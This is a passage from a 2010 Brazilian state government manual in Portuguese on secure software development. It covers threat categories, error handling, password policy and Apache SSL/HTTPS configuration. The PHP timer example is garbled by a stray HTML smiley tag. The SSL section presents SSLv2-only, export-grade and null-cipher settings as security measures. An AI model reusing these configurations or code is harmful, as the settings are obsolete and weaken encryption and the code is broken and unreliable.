Manual de Desenvolvimento de Sistemas Seguros Vol2 v2.0

Governo do Estado de Minas Gerais Secretaria de Estado de Planejamento e Gesto Subsecretaria de Gesto Superintendncia Central de Governana Eletrnica
Manual de Desenvolvimento e Aquisio de Sistemas Seguros

Volume 2 Diretivas para codificao segura, proteo de dados e interoperabilidade de sistemas
Belo Horizonte (Julho/2010)
Desenvolvido por:
Secretaria de Estado de Planejamento e Gesto de Minas Gerais

Manual de Desenvolvimento e Aquisio Sistemas Seguros
Renata Maria Paes de Vilhena Secretria de Estado de Planejamento e Gesto Eurico Bitencourt Neto Secretrio-Adjunto Frederico Csar Silva Melo Subsecretrio de Gesto Daniel Arajo de Castro Diretor da Superintendncia Central de Governana Eletrnica Adriano Otvio Rocha Teixeira Diretor Central de Infraestrutura de TIC Carine Alves Gerncia Integrada de Riscos e Sistemas Empresariais Leonardo Bruno Possa Andrade Gerente Projeto
SEPLAG - Padro Seguro de Desenvolvimento Manual de Desenvolvimento Seguro

1. INTRODUO ..................................................................................................... 8
1.1. 1.2. Sobre o manual .......................................................................................................................... 8 Motivadores................................................................................................................................ 9
1.3. Como utilizar este manual ...................................................................................................... 12 1.3.1. Pblico alvo ....................................................................................................................... 12 1.3.2. Limitaes .......................................................................................................................... 12 1.3.3. Procedimentos ................................................................................................................... 12 1.3.4. Aquisio de sistemas seguros ......................................................................................... 13
2. TCNICAS DE PROGRAMAO SEGURA .................................................... 14

2.1. Caractersticas de Cdigos Seguros ..................................................................................... 16 2.1.1. Postura de defesa.............................................................................................................. 16 2.1.2. Otimizao e monitoramento de desempenho .................................................................. 16 2.1.2.1. Cuidados com temporizadores ...................................................................................... 18 2.1.3. Estrutura baseada em usurios ilegtimos ........................................................................ 19 2.1.4. Filtros de dados ................................................................................................................. 19 2.1.5. Manipulao de erros ........................................................................................................ 20 2.1.6. Limitador de acessos ......................................................................................................... 21 2.1.7. Pginas de login seguras .................................................................................................. 21 2.1.8. Teste de Turing.................................................................................................................. 23 2.1.9. Senhas seguras ................................................................................................................. 23 2.1.10. Criao de servidores SSL ................................................................................................ 25 2.1.11. Controle de acesso e autenticao de clientes ................................................................. 26 2.1.12. Forando conexes seguras ............................................................................................. 28 2.1.13. Segurana em identificadores de sesso ......................................................................... 29 2.1.14. Prevenindo execuo remota ............................................................................................ 30 2.1.15. Monitorao ....................................................................................................................... 30 2.2. Tcnicas de Segurana em PHP ............................................................................................ 31 2.2.1. Proteo de informaes confidenciais ............................................................................. 31 2.2.2. Inicializao de variveis ................................................................................................... 31 2.2.3. Configurao do PHP ........................................................................................................ 32 2.2.3.1. register_globals ............................................................................................................. 32 2.2.3.2. display_errors ................................................................................................................ 33 2.2.3.3. log_errors ....................................................................................................................... 34 2.2.3.4. error_reporting ............................................................................................................... 34 2.2.3.5. error_log ........................................................................................................................ 34 2.2.3.6. expose_php ................................................................................................................... 35 2.2.4. Configurao de um servidor compartilhado ..................................................................... 35 2.2.5. Variveis ............................................................................................................................ 37 2.2.6. Tipos de dados .................................................................................................................. 37 2.2.7. Filtro de dados ................................................................................................................... 41 2.2.8. Permitindo apenas variveis esperadas ........................................................................... 44 2.2.9. Ataques por formulrios .................................................................................................... 45 2.2.9.1. Spam ............................................................................................................................. 45 2.2.9.2. Cross-Site Scripting (XSS) ............................................................................................ 46 2.2.9.3. Upload de arquivo.......................................................................................................... 47

2.2.10. 2.2.11. 2.2.12. 2.2.13. 2.2.14. 2.2.15.
Protegendo o cdigo fonte e os arquivos .......................................................................... 48 Implementando White list .................................................................................................. 49 Sesses seguras ............................................................................................................... 50 Criptografia e hash ............................................................................................................ 51 Varivel criptografada na URL .......................................................................................... 53 SQL injection ..................................................................................................................... 54
2.3. Tcnicas de Segurana em Java ........................................................................................... 55 2.3.1. Validao de entradas de dados ....................................................................................... 55 2.3.1.1. Adicionando lgica de validao ao objeto HTTPServletRequest ................................ 55 2.3.1.2. Codificando entidades HTML ........................................................................................ 58 2.3.2. Autenticao ...................................................................................................................... 61 2.3.2.1. Armazenando senhas com segurana .......................................................................... 61 2.3.2.2. Segurana declarativa ................................................................................................... 62 2.3.3. Preveno contra fixao e roubo de sesses ................................................................. 64 2.3.4. Tratamento de erros .......................................................................................................... 65 2.3.5. Criptografia e Message digest ........................................................................................... 66 2.3.6. Assinatura digital ............................................................................................................... 71 2.3.7. Preveno contra SQL Injection ........................................................................................ 74 2.3.8. Assinatura de cdigo em Java .......................................................................................... 75 2.4. Controles Tcnicos ................................................................................................................. 76
3. PROTEO DE DADOS ................................................................................... 81

3.1. 3.2. 3.3. Ameaas ................................................................................................................................... 82 Controles Gerenciais .............................................................................................................. 83 Controles Tcnicos ................................................................................................................. 85
3.4. Controles Tcnicos com Implementaes ........................................................................... 88 3.4.1. CI-1 Conta de Usurio .................................................................................................... 88 3.4.2. CI-2 Conta de Usurio .................................................................................................... 90 3.4.3. CI-3 Conta de Usurio .................................................................................................... 91 3.4.4. CI-4 Conta de Usurio .................................................................................................... 92 3.4.5. CI-5 Conta de Usurio .................................................................................................... 93 3.4.6. CI-6 Conta de Usurio .................................................................................................... 94 3.4.7. CI-7 Conta de Usurio .................................................................................................... 94 3.4.8. CI-8 Conta de Usurio .................................................................................................... 95 3.4.9. CI-9 Conta de Usurio .................................................................................................... 96 3.4.10. CI-10 Conta de Usurio .................................................................................................. 96 3.4.11. CI-11 Processo de Configurao e Suporte ................................................................... 96 3.4.12. CI-12 Processo de Configurao e Suporte ................................................................... 97 3.4.13. CI-13 Processo de Configurao e Suporte ................................................................... 98 3.4.14. CI-14 Processo de Configurao e Suporte ................................................................... 98 3.4.15. CI-15 Processo de Configurao e Suporte ................................................................. 100 3.4.16. CI-16 Processo de Configurao e Suporte ................................................................. 100 3.4.17. CI-17 Auditoria e Log de Sistema................................................................................. 101 3.4.18. CI-18 Auditoria e Log de Sistema................................................................................. 102 3.4.19. CI-19 Auditoria e Log de Sistema................................................................................. 103

3.4.20. 3.4.21.
CI-20 Controle de Rede e Ambiente ............................................................................ 103 CI-21 Testar a execuo e restaurao de backup ..................................................... 105
4. INTEROPERABILIDADE DE SISTEMAS (E-PING) ........................................ 106

4.1. Caractersticas ....................................................................................................................... 106
4.2. Interconexo .......................................................................................................................... 106 4.2.1. Polticas Tcnicas ............................................................................................................ 106 4.2.2. Especificaes Tcnicas ................................................................................................. 108 4.2.2.1. Mensageria (IM)........................................................................................................... 108 4.2.2.2. Infra-estrutura de Rede (IR) ........................................................................................ 109 4.2.2.3. Servios de Rede (ISR) ............................................................................................... 110 4.3. Segurana .............................................................................................................................. 111 4.3.1. Polticas Tcnicas ............................................................................................................ 111 4.3.2. Especificaes Tcnicas ................................................................................................. 112 4.3.2.1. Comunicao de Dados (CD)...................................................................................... 112 4.3.2.2. Criptografia (SC) .......................................................................................................... 113 4.3.2.3. Desenvolvimento de Sistemas (DS) ............................................................................ 114 4.3.2.4. Servios de Rede (SSR) ............................................................................................. 115 4.3.2.5. Redes Sem Fio (SF) .................................................................................................... 115 4.3.2.6. Respostas a Incidentes de Segurana da Informao (ISI) ........................................ 116 4.4. Meios de Acesso ................................................................................................................... 116 4.4.1. Polticas Tcnicas ............................................................................................................ 116 4.4.2. Especificaes Tcnicas ................................................................................................. 117 4.4.2.1. Estaes de Trabalho (ET) .......................................................................................... 117 4.4.2.2. Mobilidade (MM) .......................................................................................................... 119 4.5.2.1. Organizao e Intercmbio de Informaes (II) .......................................................... 120 4.6.2.1. Temas Transversais a reas de Atuao do Governo (AG) ....................................... 121 4.6.2.2. Web Services (WS) ..................................................................................................... 122
5. REFERNCIAS E LITERATURA COMPLEMENTAR..................................... 123 6. ANEXOS .......................................................................................................... 128

6.1. Glossrio ................................................................................................................................ 128

Lista de Tabelas
Tabela 1 - Ameaas e seus impactos Confidencialidade (C), Disponibilidade (D), Integridade (I). ......................................................................................................................10 Tabela 2 Controles tcnicos de programao segura. .......................................................80 Tabela 3 - Ameaas a bases de dados. ...............................................................................83 Tabela 4 Controles gerenciais em bancos de dados. ........................................................84 Tabela 5 Controles tcnicos em bancos de dados. ...........................................................88 Tabela 6 Especificaes tcnicas (Mensageria). .............................................................108 Tabela 7 Especificaes tcnicas (Infra-estrutura de rede). ............................................109 Tabela 8 Especificaes tcnicas (Servios de rede). .....................................................110 Tabela 9 Especificaes tcnicas (Comunicao de dados). ..........................................112 Tabela 10 (Criptografia). ..................................................................................................113 Tabela 11 Especificaes tcnicas (Desenvolvimento de sistemas). ...............................114 Tabela 12 Especificaes tcnicas (Servios de rede). ...................................................115 Tabela 13 Especificaes tcnicas (Redes sem fio). .......................................................115 Tabela 14 Especificaes tcnicas (Respostas a incidentes de SI). ................................116 Tabela 15 Especificaes tcnicas (Estaes de trabalho). ............................................119 Tabela 16 Especificaes tcnicas (Mobilidade). ............................................................120 Tabela 17 Especificaes tcnicas (Organizao e intercmbio de informaes). ..........121 Tabela 18 Especificaes tcnicas (Temas transversais). ...............................................122 Tabela 19 Especificaes tcnicas (Web services). ........................................................122

Lista de Figuras
Figura 1 Estrutura baseada em usurios ilegtimos. ..........................................................19 Figura 2 Pgina HTTPS para login. ...................................................................................22 Figura 3 Exemplo de captcha. ...........................................................................................23

1. Introduo
1.1. Sobre o manual
Atendendo a requisio da Secretaria de Estado de Planejamento e Gesto de Minas Gerais, a Ernst & Young redigiu este manual com base em pesquisas e em sua experincia de mercado. Seu principal objetivo compor uma referncia nica para os requerimentos de segurana e validao dos sistemas desenvolvidos e adquiridos para rgos e entidades pblicas de Minas Gerais. Ao longo do documento, so fornecidas diretrizes e exemplos para o estabelecimento de controles com base em padres de mercado como: CobiT 4.1 CMMi 1.2 para desenvolvimento ISO 27002, com nfase nos itens de segurana de aplicaes ISO 15408-2, para requerimentos funcionais de segurana ISO 15408-3, para as definies de avaliao de segurana e maturidade de sistemas Publicaes especiais (SPs) 800 do NIST, que fornecem exemplos e prticas FIPS 199 e 200 do NIST, para a classificao de sistemas e-PING, que define os padres de interoperabilidade do governo eletrnico Documentos de entidades no governamentais especializadas, como ISACA e OWASP H dois volumes do manual, sendo: Volume 1: Requerimentos de segurana para desenvolvimento e validao; Volume 2: Diretivas para codificao segura e interoperabilidade de sistemas.

1.2.
Motivadores
Tradicionalmente, a segurana da informao tem como foco a implantao de sistemas de controle de acesso global, como firewalls e servidores de autenticao. A sofisticao dos sistemas sua utilizao em modelo distribudo, tem direcionado ataques para as aplicaes, que tm requerido maior segurana. Dentre as ameaas s aplicaes, destacam-se:
Cdigo Ameaa Descrio O atacante pode fazer uso de informaes T 1 Roubo ou vazamento de informaes relevantes que no foram devidamente protegidas ou que, por algum erro, foram mostradas na tela do usurio O atacante utiliza sua influncia para T 2 Engenharia social descobrir informaes relevantes que podem facilitar a descoberta de senhas ou configuraes do sistema Injeo de instrues ou cdigos maliciosos T 3 Ataques de injeo em campos de entradas de dados, forando o sistema a executar comandos do atacante Uso de aplicaes web para envio de cdigos maliciosos a serem executados no browser de diferentes usurios finais, T 4 Cross-Site Scripting (XSS) podendo acessar cookies e outras informaes retidas pelo mesmo, alm da possibilidade de alterao do contedo da pgina web Tcnicas para utilizao indevida de sesses de outros usurios autenticados no T 5 Roubo de sesses sistema. Quando este ataque bem sucedido, o atacante adquire todos os privilgios do usurio que teve a sesso roubada T 6 Cross-Site Request Forgery Envio de links de pginas com cdigos maliciosos que, se clicados pelo x x x x x x x x x C D I

destinatrio, executam aes a favor do atacante Injeo de cdigos SQL maliciosos em campos de entradas de dados dos usurios. T 7 Injeo de SQL A execuo destes cdigos gera consultas no banco de dados, revelando informaes ao atacante Ataques que reescrevem fragmentos de memria do sistema, podendo interromper a T 8 Estouro de buffer execuo do sistema de forma inesperada. Tais ataques aproveitam-se de vulnerabilidades em entradas de dados de usurios Tomada do controle direto do sistema, T 9 Execuo remota atravs da insero de scripts maliciosos em interfaces de texto vulnerveis Interrupo inesperada do sistema, causada T 10 Interrupo do sistema por ataques ou pela sobrecarga de recursos no monitorados do sistema Utilizao de e-mail para envio de T 11 Spam mensagens com links maliciosos a diversos usurios Uso de informaes geradas pelo prprio sistema para aferir se um ataque teve sucesso ou causou algum impacto. T 12 Aferio de sucesso em ataques Mensagens de erro ou de tempo de execuo so comumente usadas por atacantes para medir o sucesso de seus ataques Uso de robs para envio de dados atravs T 13 Ataques de robs de formulrios ou para testes de senhas de acesso Tcnicas utilizadas para a descoberta de T 14 Ataques de Fora Bruta senhas e para burlar controles de acesso, com base na tentativa e erro
Tabela 1 - Ameaas e seus impactos Confidencialidade (C), Disponibilidade (D), Integridade (I).
10

Essas ameaas revelam um perfil emergente de atacantes, com foco na obteno de informaes confidenciais e na manpulao de sistemas, no somente na sua interrupo. Um sistema governamental que apresenta falhas pode ter como consequncias: Publicidade negativa; Investigaes e aplicaes legais; Perda de reputao; Perda da confiana do cidado.
Naturalmente, h perdas financeiras decorrentes das falhas, com exemplos recentes: Dados de concursos, arrecadao, licitaes e contratos, bem como informaes de pessoas fsicas fazem parte dos sistemas da informao de qualquer governo. Seu vazamento pode gerar custos por atrasar processos ou trazer aes judiciais. o Alm dos sistemas, importante ter ateno s operaes e ao ambiente como um todo. O caso da fraude da prova do ENEM em 2009, por exemplo, obrigou o MEC a refazer contratos e imprimir novas provas gerando prejuzo de aproximadamente R$ 40 milhes (UOL, 2009); Para a segurana pblica, h suspeitas de que informaes privilegiadas reduziram o sucesso de operaes policiais (IG, 2009); Os mortos-vivos da previdncia social j consumiram cerca de R$ 1,67 bilho em benefcios concedidos a segurados falecidos (Vaz, 2009), que
11

poderiam ser evitados caso houvesse integrao entre os sistemas de cartrios e do INSS; H polmica quanto compra de caas para o Brasil, em uma disputa entre fabricantes dos EUA, Frana e Sucia, que est sendo marcada pelo vazamento de informaes; Sistemas inseguros podem ferir a legislao e atrapalhar investigaes, como foi o caso de suspeita de queima de arquivo pblico, ao serem detectadas subtraes dos arquivos de segurana na Cmara dos Deputados (Agncia Brasil, 2009).
1.3.
Como utilizar este manual
1.3.1. Pblico alvo Gestores, desenvolvedores e avaliadores de sistemas para rgos e entidades governamentais de Minas Gerais. 1.3.2. Limitaes O manual no contempla todas as ferramentas ou emprega todos os controles de segurana disponveis no mercado. Seu uso fundamental para estabelecer um conjunto mnimo de padres de segurana, que devero ser estabelecidos com controles tcnicos definidos pelos desenvolvedores ou compradores. 1.3.3. Procedimentos A forma mais indicada de utilizar o manual ter como referncia o guia rpido de desenvolvimento seguro, em conjunto com o plano de segurana (a ser preenchido durante todo o desenvolvimento), disponves nos anexos deste volume.
12

1.3.4. Aquisio de sistemas seguros Embora o manual seja voltado para o desenvolvimento de sistemas seguros, seu uso poder ser estendido para o estabelecimento de requerimentos e validao de sistemas adquiridos. Nesses casos, os gestores tero uma ferramenta para garantir que as aplicaes obtidas no mercado mantm os mesmos nveis de segurana que as desenvolvidas com os requerimentos aqui contidos. Um sistema adquirido dever atender aos requerimentos de seu nvel de segurana, estipulado pelo comprador, em acordo com o fornecedor. Portanto, devero ser fornecidos os documentos necessrios para a avaliao do sistema, conforme apresentado no captulo 4 do volume 1 deste manual.
13

2. Tcnicas de Programao Segura

Em sistemas orientados a objeto, os objetos so encapsulados, o que os protege, restringindo o acesso ao seu contedo. Por questes de segurana, nenhum objeto deve ser capaz de acessar dados internos de outro objeto. Algumas questes de segurana podem ser encontradas no uso de instanciao mltipla, polimorfismo e herana. A instanciao mltipla permite a produo iterativa de uma verso mais definida de um objeto, substituindo as variveis com valores (ou outras variveis). Assim, diferenas entre os dados dentro dos objetos so feitas para desencorajar objetos de baixo nvel a obterem informaes em um alto nvel de segurana. A tcnica tambm utilizada para evitar canais dissimulados baseados em inferncias, fazendo com que a mesma informao exista em diferentes nveis de classificao. Portanto, usurios em um nvel inferior de classificao no sabem da existncia de um nvel maior de classificao. Na programao orientada a objetos, polimorfismo refere-se capacidade da linguagem para processar os objetos de maneira diferente dependendo, de acordo com seus tipos de dados. O termo por vezes usado para descrever uma varivel que pode se referir a objetos cuja classe no conhecida em tempo de compilao, mas que em tempo de execuo respondero de acordo com a classe do objeto ao qual se referem. O uso incorreto do polimorfismo pode levar a problemas de segurana. Uma das atividades bsicas de um design orientado a objetos o estabelecimento de relaes entre as classes. Uma maneira fundamental para relacionar classes atravs de herana, ou seja, quando uma classe de objetos definida, qualquer subclasse pode herdar as suas definies A herana permite que um programador crie uma nova classe similar a uma classe existente, sem a necessidade de duplicar o cdigo. A nova classe herda as definies da antiga classe, e acrescenta outras definies. Esta caracterstica ajuda a reduzir o tempo de desenvolvimento.
14

Heranas mltiplas podem introduzir complexidade e podem resultar em falhas de segurana no acesso aos objetos. Questes como conflitos de nomes e ambiguidades devem ser resolvidas para evitar que uma subclasse herde indevidamente os privilgios de uma superclasse.
15

2.1.
Caractersticas de Cdigos Seguros
2.1.1. Postura de defesa Manter as informaes protegidas deve ser uma preocupao constante durante o desenvolvimento de sistemas. Mesmo que uma informao no tenha relevncia ou no seja confidencial, a mesma no deve ser divulgada, a menos que seja realmente necessrio. Esta postura tambm se aplica a sistemas operacionais, linguagens de programao, bancos de dados e demais recursos.
Diretivas: Manter as informaes protegidas;
2.1.2. Otimizao e monitoramento de desempenho As caractersticas de desempenho de um sistema impactam diretamente em sua disponibilidade. Os programas devem consumir o mnimo de recursos do sistema, liberando o tempo do processador para a execuo das demais tarefas. Para garantir um bom desempenho, um programa deve: Consumir o mnimo possvel de tempo de CPU; Alocar a menor quantidade possvel de memria; Gravar todos os dados necessrios usando o mnimo de espao em disco; Utilizar a rede de forma econmica e racional.
importante que a utilizao dos recursos seja monitorada. Temporizadores devem ser inseridos nos programas para medir seu tempo total de execuo, e ferramentas especficas devem ser utilizadas para monitorar a disponibilidade dos recursos no servidor.
16

Exemplo de temporizador, ou cronmetro, escrito em php:

class temporizador { var $iniciar; var $pausar; /* Construtor do Temporizador */ function temporizador($iniciar= 0) { if($iniciar) { $this->iniciar(); } } /* Inicia o Temporizador */ function iniciar() { $this->iniciar= $this->get_time(); $this->pausar = 0; } /* Pausar o Temporizador */ function pause() { $this->pausar = $this->get_time(); } /* Continuar (aps estar pausado) o Temporizador */ function unpause() { $this->iniciar += ($this->get_time() - $this->pausar); $this->pausar = 0; } /* Obter o valor actual do temporizador */ function get($decimais= <IMG class=wp-smiley alt=8) src="http://cgoncalves.com/wp-includes/images/smilies/icon_cool.gif"> { return round(($this->get_time() - $this->iniciar),$decimais); } /* Formatar o tempo em segundo */ function get_time() { list($usec,$sec) = explode(' ', microtime()); return ((float)$usec + (float)$sec); } }
A seguir, apresentado um exemplo de como utilizar a classe do temporizador:

$temporizador = new temporizador (1); // Construtor inicializa o temporizador, ento no preciso sermos ns a faz-lo /* ... mysql query ... */ $query_time = $temporizador->get(); /* ... Processar a Pgina... */ $tempo_processamento = $temporizador->get();
O resultado seria uma mensagem parecida com a seguinte:


17

2.1.2.1.
Cuidados com temporizadores
recomendvel que os dados referentes ao tempo de gerao das pginas no sejam apresentados pelo browser, pois os mesmos podem ser utilizados para medir o sucesso de um ataque. A melhor soluo para esse problema armazen-los em um banco de dados, o que permitir gerar estatsticas e relatrios sobre o desempenho do sistema.
Diretivas: Consumir o mnimo de recursos do sistema; Consumir o mnimo de tempo do processador; Alocar a menor quantidade de memria possvel; Usar o mnimo de espao em disco possvel; Utilizar a rede de forma econmica e racional; Monitorar a utilizao dos recursos; Inserir temporizadores de execuo; No apresentar os dados de tempo de execuo na tela do usurio.
18

2.1.3. Estrutura baseada em usurios ilegtimos A estrutura do sistema deve ser desenhada com o foco em usurios ilegtimos. Por exemplo: antes de se preocupar em fazer uma pgina de login funcionar, o desenvolvedor deve filtrar os dados e tratar os riscos referentes a ataques de injeo. Apenas depois do tratamento dos riscos j conhecidos referentes a esses usurios, deve-se desenhar a estrutura para os usurios legtimos. Essa estratgia proporciona ganhos em velocidade na fase de programao segura.
Figura 1 Estrutura baseada em usurios ilegtimos.
Diretivas: Desenhar a estrutura do sistema com foco em usurios ilegtimos.
2.1.4. Filtros de dados Os filtros de dados so essenciais para a implementao de segurana em uma aplicao. Todas as variveis de entrada do programa devem ser filtradas, sejam elas digitadas pelos usurios, recebidas atravs de arquivos/formulrios, ou at mesmo provenientes da interao com servidores de bancos de dados. A checagem de consistncia dos dados no deve ser feita apenas por cdigos JavaScript, pois esta linguagem pode ser desativada no browser ou um programa rob pode preencher um formulrio sem ser descoberto. essencial que a checagem tambm seja realizada no servidor.
Diretivas: Filtrar todas as variveis de entrada do sistema; Checar a consistncia dos dados no servidor.
19

2.1.5. Manipulao de erros As excees geradas pelo sistema devem ser manipuladas para que as mensagens de erro sejam registradas apenas em arquivos de log, impedindo que sejam apresentadas na tela informaes como o endereo do servidor de banco de dados, variveis do sistema, ou outras informaes que possam ser utilizadas por pessoas mal intencionadas para ataques de inferncia. As regras para a manipulao de erros devem ser definidas em tempo de projeto, definindo quando e para quem (log do servidor, usurio, suporte, etc) cada evento deve disparar mensagens. Exemplos inapropriados de mensagens de erro normalmente encontradas em sistemas: Falha no login: usurio invlido; Falha no login: usurio no encontrado; Falha no login: senha invlida; Falha no login: conta desabilitada; Falha no login: usurio inativo;
Essas mensagens no devem ser apresentadas, pois fornecem ao atacante um direcionamento quanto ao nvel de sucesso do ataque. O ideal solicitar que o usurio entre em contato com a rea responsvel pelo suporte ou, caso necessrio, apresentar uma mensagem menos especfica, como Falha no login: usurio e/ou senha invlido(s) Os logs gerados pelo sistema e pelos servidores devem ser monitorados.
Diretivas: Manipular as excees geradas pelo sistema; Monitorar logs gerados pelo sistema e pelos servidores.
20

2.1.6. Limitador de acessos Devem ser implementados limitadores de acesso ao sistema. Um exemplo essencial de limitador de acesso o rate limit, que reage a tentativas mal sucedidas de login por um usurio, j que o usurio pode estar tentando quebrar senhas. Os acessos por endereo IP tambm devem ser limitados, atravs de regras de firewall ou com ACLs implementadas no sistema.
Diretivas: Implementar limitadores de acesso ao sistema.
2.1.7. Pginas de login seguras Os dados de login (usurio e senha) devem ser postados sobre uma conexo SSL (Secured Socket Layer), e o boto de ao do formulrio deve referenciar uma pgina do tipo HTTPS, com o uso de certificados de cadeia reconhecida publicamente. A pgina atual, onde o usurio preenche o formulrio de login, deve ser do tipo HTTPS. Caso contrrio, um atacante pode modificar o local de submisso do formulrio, inserir cdigos JavaScript, ou utilizar sistemas de monitoramento que roubam os dados de login assim que digitados ou enviados.
21

Figura 2 Pgina HTTPS para login.
Mensagens de alerta ou de erros SSL no devem ser apresentadas ao usurio. A conexo deve ser negada caso um usurio tente acessar uma verso HTTP da pgina de login.
Diretivas: Dados de login devem ser postados sobre uma conexo SSL; A pgina de login deve ser do tipo HTTPS; Mensagens de alerta ou de erros SSL no devem ser apresentadas ao usurio; A conexo deve ser negada caso um usurio tente acessar uma verso HTTP da pgina de login;
22

2.1.8. Teste de Turing Para evitar a ao de robs, testes de Turing devem ser aplicados aos formulrios do sistema. Um exemplo da aplicao destes testes so os CAPTCHAs, scripts que geram imagens aleatoriamente e as apresentam no browser para que sejam interpretadas pelo usurio, com a finalidade de distinguir computadores e humanos.
Figura 3 Exemplo de captcha.
Outra maneira de distinguir computadores e humanos atravs de CAPTCHA inverso. Esta tcnica consiste em criar um campo escondido no formulrio. Desta forma, se este campo for preenchido, certamente ter sido atravs da ao de um rob, j que humanos no conseguiriam v-lo. A aplicao de CAPTCHAs deve ser avaliada com antecedncia, pois pode afetar o desempenho do sistema. O CAPTCHA inverso, por exemplo, funciona de forma transparente para o usurio, alm de consumir menos recursos do servidor.
Diretivas: Aplicar testes de Turing aos formulrios do sistema.
2.1.9. Senhas seguras O tamanho das senhas considera a quantidade mnima e mxima de caracteres que compreendem a senha dos usurios. O tamanho da senha deve ser configurvel, usando possivelmente um arquivo de propriedades ou um arquivo XML de configurao. As senhas devem seguir o padro definido pela poltica institucional. Caso o padro no seja aplicvel, recomendado que as senhas tenham as seguintes caractersticas:
23

As senhas devem ter no mnimo 8 caracteres, porm no devem ser muito maiores do que isso, pois as pessoas tendem a esquecer suas senhas, e quanto maiores elas forem, maiores so as chances de ocorrerem autenticaes invlidas;
As senhas devem combinar caracteres alfanumricos (letras e nmeros); Toda senha deve possuir pelo menos 1 letra maiscula, e pelo menos 1 letra minscula. As senhas no podem conter caracteres contnuos (123; abc) ou mais de 1 caractere idntico em sequncia (111; 222). Os hashes das antigas senhas utilizadas devem ser mantidos em um histrico, de forma que o usurio no possa usar uma senha j utilizada em um passado recente.
Em caso de aplicaes altamente crticas, deve ser considerado tambm o fator mltiplo de autenticao. Com fator mltiplo, a autenticao deve requerer a utilizao de dois ou mais dos seguintes fatores: Algo que o usurio saiba (senha ou detalhes da conta); Algo que o usurio possua (tokens ou telefones celulares); Algo que o usurio seja (biometria).
Diretivas: O tamanho das senhas deve ser configurvel pelo administrador de segurana do sistema; As senhas devem seguir o padro definido pela poltica institucional; Aplicaes altamente crticas devem utilizar fator mltiplo de autenticao.
24

2.1.10. Criao de servidores SSL Deve ser criado um servidor SSL para forar a segurana. Esta tarefa pode ser realizada de vrias formas, de acordo com a necessidade do sistema. Criando um servidor SSL para comunicar-se apenas atravs do protocolo SSLv2 e suas cifras:
httpd.conf SSLProtocol -all +SSLv2 SSLCipherSuite SSLv2:+HIGH:+MEDIUM:+LOW:+EXP
Criando um servidor SSL para aceitar apenas criptografia forte:

httpd.conf SSLProtocol all SSLCipherSuite HIGH:MEDIUM
Criando um servidor SSL para aceitar apenas criptografia forte, mas permitir que os browsers de exportao evoluam para uma criptografia mais forte:
httpd.conf # permite, princpio, todo tipo de criptografia, # ento os browsers podem evoluir para uma criptografia mais forte SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL <Directory /usr/local/apache2/htdocs> # finalmente, so negados todos os browsers que no evoluram SSLRequire %{SSL_CIPHER_USEKEYSIZE} >= 128 </Directory>
Criando um servidor SSL para aceitar todos os tipos de cifras, porm requisitando uma cifra forte para acesso a uma URL particular:
# aceita todos os tipos de cifras SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
<Location /strong/area> # exceto para https://hostname/strong/area/ e subsequentes # requisita cifra forte SSLCipherSuite HIGH:MEDIUM </Location>
25

Diretivas: Deve ser criado um servidor SSL para forar a segurana.
2.1.11. Controle de acesso e autenticao de clientes Todos os clientes devem ser autenticados atravs de seus certificados. Quando todos os clientes so conhecidos, como no caso de uma intranet, em que conhecida toda a comunidade de usurios, pode ser utilizada a autenticao com certificado simples:
httpd.conf # requisita um certificado simples do cliente. SSLVerifyClient require SSLVerifyDepth 1 SSLCACertificateFile conf/ssl.crt/ca.crt
O sistema pode tambm autenticar seus clientes em uma URL especfica, atravs de seus certificados, permitindo ainda que clientes arbitrrios tenham acesso a outras partes do servidor:
httpd.conf SSLVerifyClient none SSLCACertificateFile conf/ssl.crt/ca.crt
<Location /secure/area> SSLVerifyClient require SSLVerifyDepth 1 </Location>
O sistema pode ainda autenticar apenas clientes especficos em algumas URLs, baseados em seus certificados, mas ainda permitir que clientes arbitrrios acessem as demais partes do servidor. Para isso, devem ser verificados vrios ingredientes do certificado do cliente. Normalmente, verificada uma parte ou todo o Nome Distinto (DN) do sujeito. Para isso existem 2 mtodos: mod_auth e SSLRequire.
26

O mtodo mod_auth usado quando os clientes so de tipos totalmente diferentes, ou seja, seus Nomes Distintos no possuem campos comuns. Neste caso, necessrio estabelecer uma base de dados contendo senhas para todos os clientes.
httpd.conf SSLVerifyClient none
<Directory /usr/local/apache2/htdocs/secure/area>
SSLVerifyClient SSLVerifyDepth
require 5
SSLCACertificateFile conf/ssl.crt/ca.crt SSLCACertificatePath conf/ssl.crt SSLOptions SSLRequireSSL AuthName AuthType AuthUserFile require </Directory> "Snake Oil Authentication" Basic /usr/local/apache2/conf/httpd.passwd valid-user +FakeBasicAuth
No exemplo, a senha usada uma string password com criptografia DES:

httpd.passwd /C=DE/L=Munich/O=Snake Oil, Ltd./OU=Staff/CN=Foo:xxj31ZMTZzkVA /C=US/L=S.F./O=Snake Oil, Ltd./OU=CA/CN=Bar:xxj31ZMTZzkVA /C=US/L=L.A./O=Snake Oil, Ltd./OU=Dev/CN=Quux:xxj31ZMTZzkVA
O mtodo SSLRequire usado quando os clientes so todos parte de uma hierarquia comum, que codificada dentro do Nome Distinto.
httpd.conf SSLVerifyClient none
<Directory /usr/local/apache2/htdocs/secure/area>
SSLVerifyClient SSLVerifyDepth
require 5
SSLCACertificateFile conf/ssl.crt/ca.crt SSLCACertificatePath conf/ssl.crt SSLOptions SSLRequireSSL SSLRequire %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \ and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} </Directory> +FakeBasicAuth
27

Diretivas: Todos os clientes devem ser autenticados atravs de seus certificados.
2.1.12. Forando conexes seguras Todo usurio deve ser forado a utilizar uma conexo segura (HTTPS//). Uma maneira simples de sempre redirecionar o usurio a uma conexo segura pode ser implementada atravs de um arquivo .htaccess contendo as seguintes instrues:
RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteRule ^(.*)$ https://www.example.com/$1 [R,L]
O arquivo .htaccess deve estar localizado na pasta principal do sistema. Caso seja necessrio forar uma conexo HTTPS para uma pasta especfica, o arquivo .htaccess pode ser colocado nesta pasta contendo as seguintes instrues:
RewriteEngine On RewriteCond %{SERVER_PORT} 80 RewriteCond %{REQUEST_URI} somefolder RewriteRule ^(.*)$ https://www.domain.com/somefolder/$1 [R,L]
Diretivas: Todo usurio deve ser forado a utilizar uma conexo segura.
28

